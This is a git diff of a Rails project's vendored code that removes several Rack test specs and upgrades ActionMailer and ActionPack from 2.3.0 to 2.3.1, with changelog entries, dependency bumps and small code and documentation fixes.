@server.running? - end - - specify "should respond" do - lambda { - GET("/") - }.should.not.raise - end - - specify "should be a Thin" do - GET("/") - status.should.be 200 - response["SERVER_SOFTWARE"].should =~ /thin/ - response["HTTP_VERSION"].should.equal "HTTP/1.1" - response["SERVER_PROTOCOL"].should.equal "HTTP/1.1" - response["SERVER_PORT"].should.equal "9201" - response["SERVER_NAME"].should.equal "0.0.0.0" - end - - specify "should have rack headers" do - GET("/") - response["rack.version"].should.equal [0,3] - response["rack.multithread"].should.be false - response["rack.multiprocess"].should.be false - response["rack.run_once"].should.be false - end - - specify "should have CGI headers on GET" do - GET("/") - response["REQUEST_METHOD"].should.equal "GET" - response["REQUEST_PATH"].should.equal "/" - response["PATH_INFO"].should.be.equal "/" - response["QUERY_STRING"].should.equal "" - response["test.postdata"].should.equal "" - - GET("/test/foo?quux=1") - response["REQUEST_METHOD"].should.equal "GET" - response["REQUEST_PATH"].should.equal "/test/foo" - response["PATH_INFO"].should.equal "/test/foo" - response["QUERY_STRING"].should.equal "quux=1" - end - - specify "should have CGI headers on POST" do - POST("/", {"rack-form-data" => "23"}, {'X-test-header' => '42'}) - status.should.equal 200 - response["REQUEST_METHOD"].should.equal "POST" - response["REQUEST_PATH"].should.equal "/" - response["QUERY_STRING"].should.equal "" - response["HTTP_X_TEST_HEADER"].should.equal "42" - response["test.postdata"].should.equal "rack-form-data=23" - end - - specify "should support HTTP auth" do - GET("/test", {:user => "ruth", :passwd => "secret"}) - response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ=" - end - - specify "should set status" do - GET("/test?secret") - status.should.equal 403 - response["rack.url_scheme"].should.equal "http" - end - - teardown do - @server.stop! - @thread.kill - end -end - -rescue LoadError - $stderr.puts "Skipping Rack::Handler::Thin tests (Thin is required). `gem install thin` and try again." -end diff --git a/vendor/plugins/rack/test/spec_rack_urlmap.rb b/vendor/plugins/rack/test/spec_rack_urlmap.rb deleted file mode 100644 index d2c20624..00000000 --- a/vendor/plugins/rack/test/spec_rack_urlmap.rb +++ /dev/null @@ -1,175 +0,0 @@ -require 'test/spec' - -require 'rack/urlmap' -require 'rack/mock' - -context "Rack::URLMap" do - specify "dispatches paths correctly" do - app = lambda { |env| - [200, { - 'X-ScriptName' => env['SCRIPT_NAME'], - 'X-PathInfo' => env['PATH_INFO'], - 'Content-Type' => 'text/plain' - }, [""]] - } - map = Rack::URLMap.new({ - 'http://foo.org/bar' => app, - '/foo' => app, - '/foo/bar' => app - }) - - res = Rack::MockRequest.new(map).get("/") - res.should.be.not_found - - res = Rack::MockRequest.new(map).get("/qux") - res.should.be.not_found - - res = Rack::MockRequest.new(map).get("/foo") - res.should.be.ok - res["X-ScriptName"].should.equal "/foo" - res["X-PathInfo"].should.equal "" - - res = Rack::MockRequest.new(map).get("/foo/") - res.should.be.ok - res["X-ScriptName"].should.equal "/foo" - res["X-PathInfo"].should.equal "/" - - res = Rack::MockRequest.new(map).get("/foo/bar") - res.should.be.ok - res["X-ScriptName"].should.equal "/foo/bar" - res["X-PathInfo"].should.equal "" - - res = Rack::MockRequest.new(map).get("/foo/bar/") - res.should.be.ok - res["X-ScriptName"].should.equal "/foo/bar" - res["X-PathInfo"].should.equal "/" - - res = Rack::MockRequest.new(map).get("/foo/quux", "SCRIPT_NAME" => "/bleh") - res.should.be.ok - res["X-ScriptName"].should.equal "/bleh/foo" - res["X-PathInfo"].should.equal "/quux" - - res = Rack::MockRequest.new(map).get("/bar", 'HTTP_HOST' => 'foo.org') - res.should.be.ok - res["X-ScriptName"].should.equal "/bar" - res["X-PathInfo"].should.be.empty - - res = Rack::MockRequest.new(map).get("/bar/", 'HTTP_HOST' => 'foo.org') - res.should.be.ok - res["X-ScriptName"].should.equal "/bar" - res["X-PathInfo"].should.equal '/' - end - - - specify "dispatches hosts correctly" do - map = Rack::URLMap.new("http://foo.org/" => lambda { |env| - [200, - { "Content-Type" => "text/plain", - "X-Position" => "foo.org", - "X-Host" => env["HTTP_HOST"] || env["SERVER_NAME"], - }, [""]]}, - "http://bar.org/" => lambda { |env| - [200, - { "Content-Type" => "text/plain", - "X-Position" => "bar.org", - "X-Host" => env["HTTP_HOST"] || env["SERVER_NAME"], - }, [""]]}, - "/" => lambda { |env| - [200, - { "Content-Type" => "text/plain", - "X-Position" => "default.org", - "X-Host" => env["HTTP_HOST"] || env["SERVER_NAME"], - }, [""]]} - ) - - res = Rack::MockRequest.new(map).get("/") - res.should.be.ok - res["X-Position"].should.equal "default.org" - - res = Rack::MockRequest.new(map).get("/", "HTTP_HOST" => "bar.org") - res.should.be.ok - res["X-Position"].should.equal "bar.org" - - res = Rack::MockRequest.new(map).get("/", "HTTP_HOST" => "foo.org") - res.should.be.ok - res["X-Position"].should.equal "foo.org" - - res = Rack::MockRequest.new(map).get("http://foo.org/") - res.should.be.ok - res["X-Position"].should.equal "default.org" - - res = Rack::MockRequest.new(map).get("/", "HTTP_HOST" => "example.org") - res.should.be.ok - res["X-Position"].should.equal "default.org" - - res = Rack::MockRequest.new(map).get("/", - "HTTP_HOST" => "example.org:9292", - "SERVER_PORT" => "9292") - res.should.be.ok - res["X-Position"].should.equal "default.org" - end - - specify "should be nestable" do - map = Rack::URLMap.new("/foo" => - Rack::URLMap.new("/bar" => - Rack::URLMap.new("/quux" => lambda { |env| - [200, - { "Content-Type" => "text/plain", - "X-Position" => "/foo/bar/quux", - "X-PathInfo" => env["PATH_INFO"], - "X-ScriptName" => env["SCRIPT_NAME"], - }, [""]]} - ))) - - res = Rack::MockRequest.new(map).get("/foo/bar") - res.should.be.not_found - - res = Rack::MockRequest.new(map).get("/foo/bar/quux") - res.should.be.ok - res["X-Position"].should.equal "/foo/bar/quux" - res["X-PathInfo"].should.equal "" - res["X-ScriptName"].should.equal "/foo/bar/quux" - end - - specify "should route root apps correctly" do - map = Rack::URLMap.new("/" => lambda { |env| - [200, - { "Content-Type" => "text/plain", - "X-Position" => "root", - "X-PathInfo" => env["PATH_INFO"], - "X-ScriptName" => env["SCRIPT_NAME"] - }, [""]]}, - "/foo" => lambda { |env| - [200, - { "Content-Type" => "text/plain", - "X-Position" => "foo", - "X-PathInfo" => env["PATH_INFO"], - "X-ScriptName" => env["SCRIPT_NAME"] - }, [""]]} - ) - - res = Rack::MockRequest.new(map).get("/foo/bar") - res.should.be.ok - res["X-Position"].should.equal "foo" - res["X-PathInfo"].should.equal "/bar" - res["X-ScriptName"].should.equal "/foo" - - res = Rack::MockRequest.new(map).get("/foo") - res.should.be.ok - res["X-Position"].should.equal "foo" - res["X-PathInfo"].should.equal "" - res["X-ScriptName"].should.equal "/foo" - - res = Rack::MockRequest.new(map).get("/bar") - res.should.be.ok - res["X-Position"].should.equal "root" - res["X-PathInfo"].should.equal "/bar" - res["X-ScriptName"].should.equal "" - - res = Rack::MockRequest.new(map).get("") - res.should.be.ok - res["X-Position"].should.equal "root" - res["X-PathInfo"].should.equal "/" - res["X-ScriptName"].should.equal "" - end -end diff --git a/vendor/plugins/rack/test/spec_rack_utils.rb b/vendor/plugins/rack/test/spec_rack_utils.rb deleted file mode 100644 index ced710f9..00000000 --- a/vendor/plugins/rack/test/spec_rack_utils.rb +++ /dev/null @@ -1,176 +0,0 @@ -require 'test/spec' - -require 'rack/utils' -require 'rack/lint' -require 'rack/mock' - -context "Rack::Utils" do - specify "should escape correctly" do - Rack::Utils.escape("fobar").should.equal "fo%3Co%3Ebar" - Rack::Utils.escape("a space").should.equal "a+space" - Rack::Utils.escape("q1!2\"'w$5&7/z8)?\\"). - should.equal "q1%212%22%27w%245%267%2Fz8%29%3F%5C" - end - - specify "should unescape correctly" do - Rack::Utils.unescape("fo%3Co%3Ebar").should.equal "fobar" - Rack::Utils.unescape("a+space").should.equal "a space" - Rack::Utils.unescape("a%20space").should.equal "a space" - Rack::Utils.unescape("q1%212%22%27w%245%267%2Fz8%29%3F%5C"). - should.equal "q1!2\"'w$5&7/z8)?\\" - end - - specify "should parse query strings correctly" do - Rack::Utils.parse_query("foo=bar").should.equal "foo" => "bar" - Rack::Utils.parse_query("foo=bar&foo=quux"). - should.equal "foo" => ["bar", "quux"] - Rack::Utils.parse_query("foo=1&bar=2"). - should.equal "foo" => "1", "bar" => "2" - Rack::Utils.parse_query("my+weird+field=q1%212%22%27w%245%267%2Fz8%29%3F"). - should.equal "my weird field" => "q1!2\"'w$5&7/z8)?" - end - - specify "should build query strings correctly" do - Rack::Utils.build_query("foo" => "bar").should.equal "foo=bar" - Rack::Utils.build_query("foo" => ["bar", "quux"]). - should.equal "foo=bar&foo=quux" - Rack::Utils.build_query("foo" => "1", "bar" => "2"). - should.equal "foo=1&bar=2" - Rack::Utils.build_query("my weird field" => "q1!2\"'w$5&7/z8)?"). - should.equal "my+weird+field=q1%212%22%27w%245%267%2Fz8%29%3F" - end - - specify "should figure out which encodings are acceptable" do - helper = lambda do |a, b| - request = Rack::Request.new(Rack::MockRequest.env_for("", "HTTP_ACCEPT_ENCODING" => a)) - Rack::Utils.select_best_encoding(a, b) - end - - helper.call(%w(), [["x", 1]]).should.equal(nil) - helper.call(%w(identity), [["identity", 0.0]]).should.equal(nil) - helper.call(%w(identity), [["*", 0.0]]).should.equal(nil) - - helper.call(%w(identity), [["compress", 1.0], ["gzip", 1.0]]).should.equal("identity") - - helper.call(%w(compress gzip identity), [["compress", 1.0], ["gzip", 1.0]]).should.equal("compress") - helper.call(%w(compress gzip identity), [["compress", 0.5], ["gzip", 1.0]]).should.equal("gzip") - - helper.call(%w(foo bar identity), []).should.equal("identity") - helper.call(%w(foo bar identity), [["*", 1.0]]).should.equal("foo") - helper.call(%w(foo bar identity), [["*", 1.0], ["foo", 0.9]]).should.equal("bar") - - helper.call(%w(foo bar identity), [["foo", 0], ["bar", 0]]).should.equal("identity") - helper.call(%w(foo bar baz identity), [["*", 0], ["identity", 0.1]]).should.equal("identity") - end -end - -context "Rack::Utils::HeaderHash" do - specify "should retain header case" do - h = Rack::Utils::HeaderHash.new("Content-MD5" => "d5ff4e2a0 ...") - h['ETag'] = 'Boo!' - h.to_hash.should.equal "Content-MD5" => "d5ff4e2a0 ...", "ETag" => 'Boo!' - end - - specify "should check existence of keys case insensitively" do - h = Rack::Utils::HeaderHash.new("Content-MD5" => "d5ff4e2a0 ...") - h.should.include 'content-md5' - h.should.not.include 'ETag' - end - - specify "should merge case-insensitively" do - h = Rack::Utils::HeaderHash.new("ETag" => 'HELLO', "content-length" => '123') - merged = h.merge("Etag" => 'WORLD', 'Content-Length' => '321', "Foo" => 'BAR') - merged.should.equal "Etag"=>'WORLD', "Content-Length"=>'321', "Foo"=>'BAR' - end - - specify "should overwrite case insensitively and assume the new key's case" do - h = Rack::Utils::HeaderHash.new("Foo-Bar" => "baz") - h["foo-bar"] = "bizzle" - h["FOO-BAR"].should.equal "bizzle" - h.length.should.equal 1 - h.to_hash.should.equal "foo-bar" => "bizzle" - end - - specify "should be converted to real Hash" do - h = Rack::Utils::HeaderHash.new("foo" => "bar") - h.to_hash.should.be.instance_of Hash - end -end - -context "Rack::Utils::Context" do - test_app1 = Object.new - def test_app1.context app - Rack::Utils::Context.new self, app do |env| - app.call env - end - end - test_app2 = Object.new - def test_app2.context env; end - test_app3 = Object.new - test_target1 = proc{|e| e.to_s+' world' } - test_target2 = proc{|e| e.to_i+2 } - test_target3 = proc{|e| nil } - test_target4 = proc{|e| [200,{'Content-Type'=>'text/plain', 'Content-Length'=>'0'},['']] } - test_target5 = Object.new - - specify "should perform checks on both arguments" do - lambda { Rack::Utils::Context.new(nil, nil){} }.should.raise - lambda { Rack::Utils::Context.new(test_app1, nil){} }.should.raise - lambda { Rack::Utils::Context.new(nil, test_target1){} }.should.raise - lambda { Rack::Utils::Context.new(test_app1, test_target1){} }.should.not.raise - lambda { Rack::Utils::Context.new(test_app3, test_target1){} }.should.raise - lambda { Rack::Utils::Context.new(test_app1, test_target5){} }.should.raise - lambda { test_app1.context(nil){} }.should.raise - lambda { test_app1.context(test_target1){} }.should.not.raise - lambda { test_app1.context(test_target5){} }.should.raise - end - - specify "should set context correctly" do - c1 = Rack::Utils::Context.new(test_app1, test_target1){} - c1.for.should.equal test_app1 - c1.app.should.equal test_target1 - c2 = Rack::Utils::Context.new(test_app1, test_target2){} - c2.for.should.equal test_app1 - c2.app.should.equal test_target2 - c3 = Rack::Utils::Context.new(test_app2, test_target3){} - c3.for.should.equal test_app2 - c3.app.should.equal test_target3 - c4 = Rack::Utils::Context.new(test_app2, test_target4){} - c4.for.should.equal test_app2 - c4.app.should.equal test_target4 - end - - specify "should alter app on recontexting" do - c1 = Rack::Utils::Context.new(test_app1, test_target1){} - c1.for.should.equal test_app1 - c1.app.should.equal test_target1 - c2 = c1.context(test_target2) - c2.for.should.equal test_app1 - c2.app.should.not.equal test_target1 - c2.app.should.equal test_target2 - c3 = c2.context(test_target3) - c3.for.should.equal test_app1 - c3.app.should.not.equal test_target2 - c3.app.should.equal test_target3 - c4 = c3.context(test_target4) - c4.for.should.equal test_app1 - c4.app.should.not.equal test_target3 - c4.app.should.equal test_target4 - end - - specify "should run different apps" do - c1 = test_app1.context(test_target1) - c2 = c1.context test_target2 - c3 = c2.context test_target3 - c4 = c3.context test_target4 - a4 = Rack::Lint.new c4 - r1 = c1.call('hello') - r1.should.equal 'hello world' - r2 = c2.call(2) - r2.should.equal 4 - r3 = c3.call(:misc_symbol) - r3.should.be.nil - r4 = Rack::MockRequest.new(a4).get('/') - r4.status.should.be 200 - end -end diff --git a/vendor/plugins/rack/test/spec_rack_webrick.rb b/vendor/plugins/rack/test/spec_rack_webrick.rb deleted file mode 100644 index 32b418e3..00000000 --- a/vendor/plugins/rack/test/spec_rack_webrick.rb +++ /dev/null @@ -1,123 +0,0 @@ -require 'test/spec' - -require 'rack/handler/webrick' -require 'rack/lint' -require 'rack/response' -require 'testrequest' - -Thread.abort_on_exception = true - -context "Rack::Handler::WEBrick" do - include TestRequest::Helpers - - setup do - @server = WEBrick::HTTPServer.new(:Host => @host='0.0.0.0', - :Port => @port=9202, - :Logger => WEBrick::Log.new(nil, WEBrick::BasicLog::WARN), - :AccessLog => []) - @server.mount "/test", Rack::Handler::WEBrick, - Rack::Lint.new(TestRequest.new) - Thread.new { @server.start } - trap(:INT) { @server.shutdown } - end - - specify "should respond" do - lambda { - GET("/test") - }.should.not.raise - end - - specify "should be a WEBrick" do - GET("/test") - status.should.be 200 - response["SERVER_SOFTWARE"].should =~ /WEBrick/ - response["HTTP_VERSION"].should.equal "HTTP/1.1" - response["SERVER_PROTOCOL"].should.equal "HTTP/1.1" - response["SERVER_PORT"].should.equal "9202" - response["SERVER_NAME"].should.equal "0.0.0.0" - end - - specify "should have rack headers" do - GET("/test") - response["rack.version"].should.equal [0,1] - response["rack.multithread"].should.be true - response["rack.multiprocess"].should.be false - response["rack.run_once"].should.be false - end - - specify "should have CGI headers on GET" do - GET("/test") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/" - response["PATH_INFO"].should.be.nil - response["QUERY_STRING"].should.equal "" - response["test.postdata"].should.equal "" - - GET("/test/foo?quux=1") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/" - response["PATH_INFO"].should.equal "/foo" - response["QUERY_STRING"].should.equal "quux=1" - end - - specify "should have CGI headers on POST" do - POST("/test", {"rack-form-data" => "23"}, {'X-test-header' => '42'}) - status.should.equal 200 - response["REQUEST_METHOD"].should.equal "POST" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/" - response["QUERY_STRING"].should.equal "" - response["HTTP_X_TEST_HEADER"].should.equal "42" - response["test.postdata"].should.equal "rack-form-data=23" - end - - specify "should support HTTP auth" do - GET("/test", {:user => "ruth", :passwd => "secret"}) - response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ=" - end - - specify "should set status" do - GET("/test?secret") - status.should.equal 403 - response["rack.url_scheme"].should.equal "http" - end - - specify "should correctly set cookies" do - @server.mount "/cookie-test", Rack::Handler::WEBrick, - Rack::Lint.new(lambda { |req| - res = Rack::Response.new - res.set_cookie "one", "1" - res.set_cookie "two", "2" - res.finish - }) - - Net::HTTP.start(@host, @port) { |http| - res = http.get("/cookie-test") - res.code.to_i.should.equal 200 - res.get_fields("set-cookie").should.equal ["one=1", "two=2"] - } - end - - specify "should provide a .run" do - block_ran = false - catch(:done) { - Rack::Handler::WEBrick.run(lambda {}, - {:Port => 9210, - :Logger => WEBrick::Log.new(nil, WEBrick::BasicLog::WARN), - :AccessLog => []}) { |server| - block_ran = true - server.should.be.kind_of WEBrick::HTTPServer - @s = server - throw :done - } - } - block_ran.should.be true - @s.shutdown - end - - teardown do - @server.shutdown - end -end diff --git a/vendor/plugins/rack/test/testrequest.rb b/vendor/plugins/rack/test/testrequest.rb deleted file mode 100644 index 7b7190cb..00000000 --- a/vendor/plugins/rack/test/testrequest.rb +++ /dev/null @@ -1,57 +0,0 @@ -require 'yaml' -require 'net/http' - -class TestRequest - def call(env) - status = env["QUERY_STRING"] =~ /secret/ ? 403 : 200 - env["test.postdata"] = env["rack.input"].read - body = env.to_yaml - size = body.respond_to?(:bytesize) ? body.bytesize : body.size - [status, {"Content-Type" => "text/yaml", "Content-Length" => size.to_s}, [body]] - end - - module Helpers - attr_reader :status, :response - - def GET(path, header={}) - Net::HTTP.start(@host, @port) { |http| - user = header.delete(:user) - passwd = header.delete(:passwd) - - get = Net::HTTP::Get.new(path, header) - get.basic_auth user, passwd if user && passwd - http.request(get) { |response| - @status = response.code.to_i - @response = YAML.load(response.body) - } - } - end - - def POST(path, formdata={}, header={}) - Net::HTTP.start(@host, @port) { |http| - user = header.delete(:user) - passwd = header.delete(:passwd) - - post = Net::HTTP::Post.new(path, header) - post.form_data = formdata - post.basic_auth user, passwd if user && passwd - http.request(post) { |response| - @status = response.code.to_i - @response = YAML.load(response.body) - } - } - end - end -end - -class StreamingRequest - def self.call(env) - [200, {"Content-Type" => "text/plain"}, new] - end - - def each - yield "hello there!\n" - sleep 5 - yield "that is all.\n" - end -end diff --git a/vendor/rails/actionmailer/CHANGELOG b/vendor/rails/actionmailer/CHANGELOG index ecfa25b0..0749ff4d 100644 --- a/vendor/rails/actionmailer/CHANGELOG +++ b/vendor/rails/actionmailer/CHANGELOG @@ -1,3 +1,8 @@ +*2.3.1 [RC2] (February 27th, 2009)* + +* Fixed that ActionMailer should send correctly formatted Return-Path in MAIL FROM for SMTP #1842 [Matt Jones] + + *2.3.0 [RC1] (February 1st, 2009)* * Fixed RFC-2045 quoted-printable bug #1421 [squadette] diff --git a/vendor/rails/actionmailer/Rakefile b/vendor/rails/actionmailer/Rakefile index c3826e3a..7c27ef45 100644 --- a/vendor/rails/actionmailer/Rakefile +++ b/vendor/rails/actionmailer/Rakefile @@ -55,7 +55,7 @@ spec = Gem::Specification.new do |s| s.rubyforge_project = "actionmailer" s.homepage = "http://www.rubyonrails.org" - s.add_dependency('actionpack', '= 2.3.0' + PKG_BUILD) + s.add_dependency('actionpack', '= 2.3.1' + PKG_BUILD) s.has_rdoc = true s.requirements << 'none' diff --git a/vendor/rails/actionmailer/lib/action_mailer.rb b/vendor/rails/actionmailer/lib/action_mailer.rb index 45fcab59..02c536c8 100644 --- a/vendor/rails/actionmailer/lib/action_mailer.rb +++ b/vendor/rails/actionmailer/lib/action_mailer.rb @@ -58,4 +58,5 @@ module Net end autoload :MailHelper, 'action_mailer/mail_helper' -autoload :TMail, 'action_mailer/vendor/tmail' + +require 'action_mailer/vendor/tmail' diff --git a/vendor/rails/actionmailer/lib/action_mailer/base.rb b/vendor/rails/actionmailer/lib/action_mailer/base.rb index eda5de4e..db4589ee 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/base.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/base.rb @@ -254,6 +254,8 @@ module ActionMailer #:nodoc: private_class_method :new #:nodoc: class_inheritable_accessor :view_paths + self.view_paths = [] + cattr_accessor :logger @@smtp_settings = { @@ -594,7 +596,7 @@ module ActionMailer #:nodoc: end def initialize_template_class(assigns) - template = ActionView::Base.new(view_paths, assigns, self) + template = ActionView::Base.new(self.class.view_paths, assigns, self) template.template_format = default_template_format template end @@ -672,7 +674,7 @@ module ActionMailer #:nodoc: def perform_delivery_smtp(mail) destinations = mail.destinations mail.ready_to_send - sender = mail['return-path'] || mail.from + sender = (mail['return-path'] && mail['return-path'].spec) || mail.from smtp = Net::SMTP.new(smtp_settings[:address], smtp_settings[:port]) smtp.enable_starttls_auto if smtp_settings[:enable_starttls_auto] && smtp.respond_to?(:enable_starttls_auto) diff --git a/vendor/rails/actionmailer/lib/action_mailer/version.rb b/vendor/rails/actionmailer/lib/action_mailer/version.rb index 9cd7a14b..ac843ae6 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/version.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/version.rb @@ -2,7 +2,7 @@ module ActionMailer module VERSION #:nodoc: MAJOR = 2 MINOR = 3 - TINY = 0 + TINY = 1 STRING = [MAJOR, MINOR, TINY].join('.') end diff --git a/vendor/rails/actionmailer/test/abstract_unit.rb b/vendor/rails/actionmailer/test/abstract_unit.rb index a6126d6f..3e772557 100644 --- a/vendor/rails/actionmailer/test/abstract_unit.rb +++ b/vendor/rails/actionmailer/test/abstract_unit.rb @@ -1,5 +1,9 @@ +require 'rubygems' require 'test/unit' +gem 'mocha', '>= 0.9.5' +require 'mocha' + $:.unshift "#{File.dirname(__FILE__)}/../lib" $:.unshift "#{File.dirname(__FILE__)}/../../activesupport/lib" $:.unshift "#{File.dirname(__FILE__)}/../../actionpack/lib" @@ -15,6 +19,7 @@ ActionView::Template.register_template_handler :bak, lambda { |template| "Lame b $:.unshift "#{File.dirname(__FILE__)}/fixtures/helpers" +ActionView::Base.cache_template_loading = true FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures') ActionMailer::Base.template_root = FIXTURE_LOAD_PATH @@ -43,7 +48,6 @@ class Net::SMTP end def uses_gem(gem_name, test_name, version = '> 0') - require 'rubygems' gem gem_name.to_s, version require gem_name.to_s yield @@ -51,13 +55,6 @@ rescue LoadError $stderr.puts "Skipping #{test_name} tests. `gem install #{gem_name}` and try again." end -# Wrap tests that use Mocha and skip if unavailable. -unless defined? uses_mocha - def uses_mocha(test_name, &block) - uses_gem('mocha', test_name, '>= 0.5.5', &block) - end -end - def set_delivery_method(delivery_method) @old_delivery_method = ActionMailer::Base.delivery_method ActionMailer::Base.delivery_method = delivery_method diff --git a/vendor/rails/actionmailer/test/mail_service_test.rb b/vendor/rails/actionmailer/test/mail_service_test.rb index a886b114..1e045317 100644 --- a/vendor/rails/actionmailer/test/mail_service_test.rb +++ b/vendor/rails/actionmailer/test/mail_service_test.rb @@ -289,8 +289,6 @@ class TestMailer < ActionMailer::Base end end -uses_mocha 'ActionMailerTest' do - class ActionMailerTest < Test::Unit::TestCase include ActionMailer::Quoting @@ -940,6 +938,7 @@ EOF ActionMailer::Base.delivery_method = :smtp TestMailer.deliver_return_path assert_match %r{^Return-Path: }, MockSMTP.deliveries[0][0] + assert_equal "another@somewhere.test", MockSMTP.deliveries[0][1].to_s end def test_body_is_stored_as_an_ivar @@ -974,8 +973,6 @@ EOF end end -end # uses_mocha - class InheritableTemplateRootTest < Test::Unit::TestCase def test_attr expected = "#{File.dirname(__FILE__)}/fixtures/path.with.dots" diff --git a/vendor/rails/actionpack/CHANGELOG b/vendor/rails/actionpack/CHANGELOG index 546311e0..516f2814 100644 --- a/vendor/rails/actionpack/CHANGELOG +++ b/vendor/rails/actionpack/CHANGELOG @@ -1,4 +1,10 @@ -*Edge* +*2.3.1 [RC2] (February 27th, 2009)* + +* Fixed that passing a custom form builder would be forwarded to nested fields_for calls #2023 [Eloy Duran/Nate Wiger] + +* Added partial scoping to TranslationHelper#translate, so if you call translate(".foo") from the people/index.html.erb template, you'll actually be calling I18n.translate("people.index.foo") [DHH] + +* Fix a syntax error in current_page?() that was prevent matches against URL's with multiple query parameters #1385, #1868 [chris finne/Andrew White] * Added localized rescue template when I18n.locale is set (ex: public/404.da.html) #1835 [José Valim] diff --git a/vendor/rails/actionpack/Rakefile b/vendor/rails/actionpack/Rakefile index c389e5a8..0d673c61 100644 --- a/vendor/rails/actionpack/Rakefile +++ b/vendor/rails/actionpack/Rakefile @@ -80,7 +80,7 @@ spec = Gem::Specification.new do |s| s.has_rdoc = true s.requirements << 'none' - s.add_dependency('activesupport', '= 2.3.0' + PKG_BUILD) + s.add_dependency('activesupport', '= 2.3.1' + PKG_BUILD) s.add_dependency('rack', '>= 0.9.0') s.require_path = 'lib' diff --git a/vendor/rails/actionpack/lib/action_controller.rb b/vendor/rails/actionpack/lib/action_controller.rb index 71724cfa..ca826e7b 100644 --- a/vendor/rails/actionpack/lib/action_controller.rb +++ b/vendor/rails/actionpack/lib/action_controller.rb @@ -31,9 +31,7 @@ rescue LoadError end end -#gem 'rack', '>= 0.9.0' -require 'rack' -require 'action_controller/rack_ext' +require 'action_controller/vendor/rack-1.0/rack' module ActionController # TODO: Review explicit to see if they will automatically be handled by @@ -61,6 +59,7 @@ module ActionController autoload :ParamsParser, 'action_controller/params_parser' autoload :PolymorphicRoutes, 'action_controller/polymorphic_routes' autoload :RecordIdentifier, 'action_controller/record_identifier' + autoload :Reloader, 'action_controller/reloader' autoload :Request, 'action_controller/request' autoload :RequestForgeryProtection, 'action_controller/request_forgery_protection' autoload :Rescue, 'action_controller/rescue' @@ -77,7 +76,6 @@ module ActionController autoload :UploadedFile, 'action_controller/uploaded_file' autoload :UploadedStringIO, 'action_controller/uploaded_file' autoload :UploadedTempfile, 'action_controller/uploaded_file' - autoload :UrlEncodedPairParser, 'action_controller/url_encoded_pair_parser' autoload :UrlRewriter, 'action_controller/url_rewriter' autoload :UrlWriter, 'action_controller/url_rewriter' autoload :Verification, 'action_controller/verification' diff --git a/vendor/rails/actionpack/lib/action_controller/base.rb b/vendor/rails/actionpack/lib/action_controller/base.rb index 36b80d57..5df94b28 100644 --- a/vendor/rails/actionpack/lib/action_controller/base.rb +++ b/vendor/rails/actionpack/lib/action_controller/base.rb @@ -22,7 +22,7 @@ module ActionController #:nodoc: attr_reader :allowed_methods def initialize(*allowed_methods) - super("Only #{allowed_methods.to_sentence} requests are allowed.") + super("Only #{allowed_methods.to_sentence(:locale => :en)} requests are allowed.") @allowed_methods = allowed_methods end @@ -784,9 +784,37 @@ module ActionController #:nodoc: # # placed in "app/views/layouts/special.r(html|xml)" # render :text => "Hi there!", :layout => "special" # - # The :text option can also accept a Proc object, which can be used to manually control the page generation. This should - # generally be avoided, as it violates the separation between code and content, and because almost everything that can be - # done with this method can also be done more cleanly using one of the other rendering methods, most notably templates. + # === Streaming data and/or controlling the page generation + # + # The :text option can also accept a Proc object, which can be used to: + # + # 1. stream on-the-fly generated data to the browser. Note that you should + # use the methods provided by ActionController::Steaming instead if you + # want to stream a buffer or a file. + # 2. manually control the page generation. This should generally be avoided, + # as it violates the separation between code and content, and because almost + # everything that can be done with this method can also be done more cleanly + # using one of the other rendering methods, most notably templates. + # + # Two arguments are passed to the proc, a response object and an + # output object. The response object is equivalent to the return + # value of the ActionController::Base#response method, and can be used to + # control various things in the HTTP response, such as setting the + # Content-Type header. The output object is an writable IO-like + # object, so one can call write and flush on it. + # + # The following example demonstrates how one can stream a large amount of + # on-the-fly generated data to the browser: + # + # # Streams about 180 MB of generated data to the browser. + # render :text => proc { |response, output| + # 10_000_000.times do |i| + # output.write("This is line #{i}\n") + # output.flush + # end + # } + # + # Another example: # # # Renders "Hello from code!" # render :text => proc { |response, output| output.write("Hello from code!") } @@ -885,6 +913,7 @@ module ActionController #:nodoc: layout = pick_layout(options) response.layout = layout.path_without_format_and_extension if layout logger.info("Rendering template within #{layout.path_without_format_and_extension}") if logger && layout + layout = layout.path_without_format_and_extension if layout if content_type = options[:content_type] response.content_type = content_type.to_s @@ -1269,7 +1298,7 @@ module ActionController #:nodoc: rescue ActionView::MissingTemplate => e # Was the implicit template missing, or was it another template? if e.path == default_template_name - raise UnknownAction, "No action responded to #{action_name}. Actions: #{action_methods.sort.to_sentence}", caller + raise UnknownAction, "No action responded to #{action_name}. Actions: #{action_methods.sort.to_sentence(:locale => :en)}", caller else raise e end diff --git a/vendor/rails/actionpack/lib/action_controller/caching.rb b/vendor/rails/actionpack/lib/action_controller/caching.rb index 1d14df00..80d13e25 100644 --- a/vendor/rails/actionpack/lib/action_controller/caching.rb +++ b/vendor/rails/actionpack/lib/action_controller/caching.rb @@ -27,6 +27,7 @@ module ActionController #:nodoc: autoload :Actions, 'action_controller/caching/actions' autoload :Fragments, 'action_controller/caching/fragments' autoload :Pages, 'action_controller/caching/pages' + autoload :Sweeper, 'action_controller/caching/sweeping' autoload :Sweeping, 'action_controller/caching/sweeping' def self.included(base) #:nodoc: diff --git a/vendor/rails/actionpack/lib/action_controller/cgi_process.rb b/vendor/rails/actionpack/lib/action_controller/cgi_process.rb index 7e5e95e1..54ff04cf 100644 --- a/vendor/rails/actionpack/lib/action_controller/cgi_process.rb +++ b/vendor/rails/actionpack/lib/action_controller/cgi_process.rb @@ -47,6 +47,11 @@ module ActionController #:nodoc: out.sync = false if out.respond_to?(:sync=) headers['Status'] = status.to_s + + if headers.include?('Set-Cookie') + headers['cookie'] = headers.delete('Set-Cookie').split("\n") + end + out.write(cgi.header(headers)) body.each { |part| diff --git a/vendor/rails/actionpack/lib/action_controller/cookies.rb b/vendor/rails/actionpack/lib/action_controller/cookies.rb index 840ceb5a..ca380e98 100644 --- 